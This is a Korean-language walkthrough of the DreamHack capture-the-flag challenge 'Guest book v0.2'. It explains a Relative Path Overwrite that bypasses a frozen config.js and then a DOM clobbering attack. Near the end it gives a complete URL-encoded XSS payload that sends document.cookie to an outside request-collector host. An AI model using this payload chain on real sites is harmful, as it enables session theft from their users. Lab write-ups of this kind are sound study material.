DreamHack - Guest book v0.2 풀이

먼저 페이지 하단에 작성된 태그들을 찾게 되면 문제 푸는 속도가 빨랐을 것이다.

    <script src="config.js"></script>
    <script>
      if(window.CONFIG && window.CONFIG.debug){
        location.href = window.CONFIG.main;
      }
    </script>

 

config.js의 내용은 아래와 같다.

window.CONFIG = {
  version: "v0.2",
  main: "/",
  debug: false,
  debugMSG: ""
}

// prevent overwrite
Object.freeze(window.CONFIG);

아래의 Object.freeze 메소드으로 인해 window.CONFIG가 overwriting이 안되는 상황이며 if 조건이 false로 나오면서 아래의 "localtion.href = window.CONFIG.main" 라인을 실행하지 못한다. 

 

config.js 우회 방법

<script src="config.js"></script> 쪽에 문제점이 하나 있었다. 바로 .js 자원을(config.js) 상대 경로 형태로 읽어온다는 것이다.

 

예를 들면 페이지 URL을 "127.0.0.1/example"으로 접속해서 config.js 자원을 요청을 하면 "127.0.0.1/config.js"에 위치한 파일을 가져오지만

 

주소가 "127.0.0.1/example/"에 접속된 상태에서 config.js 자원을 요청하면 이번엔 "127.0.0.1/example/config.js"에 위치한 파일을 요청한다. (/example 뒤에 /를 더 붙인 경우)

 

이게 src 값으로 상대 경로를 쓰였기 때문에 가능한 일이며 이러한 취약점을 RPO(Relative Path Overwrite)이라고 한다.

문제에서 config.js 파일을 우회하기 위해서는 "/GuestBook.php/?content=" 주소 형태로 페이지에 접속 해야 한다. 

 

 

Dom Clobbering

 

이제는 location.href = window.CONFIG.main;를 이용해 브라우저가 javascript를 발생시키도록 해야 하는데 이럴 때는 Dom Clobbering 기법을 사용하면 된다.

 

<a id='CONFIG'> --> window.CONFIG;
<b id='CONFIG' name='debug'> --> window.CONFIG.debug;
<c id='config' name='main'> --> window.CONFIG.main;

 

 

[dreamhack](' id='CONFIG' ')
[dreamhack](' id='CONFIG' name='debug' ')
[dreamhack](javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`' id='CONFIG' name='main' ')

"localtion.href = window.CONFIG.main" 라인을 실행하게 되면

javascript:location.href=`https://xhhoeby.request.dreamhack.games?cookie=${document.cookie}`가 실행 되면서 공격자의 서버로 쿠키 값이 요청하게 된다. 

 

정답 코드

/GuestBook.php/?content=%5Bdreamhack%5D('%20id='CONFIG'%20')%0D%0A%5Bdreamhack%5D('%20id='CONFIG'%20name='debug'%20')%0D%0A%5Bdreamhack%5D(javascript:location.href=%60https://xhhoeby.request.dreamhack.games?cookie=$%7Bdocument.cookie%7D%60'%20id='CONFIG'%20name='main'%20')

Reference

https://learn.dreamhack.io/18#31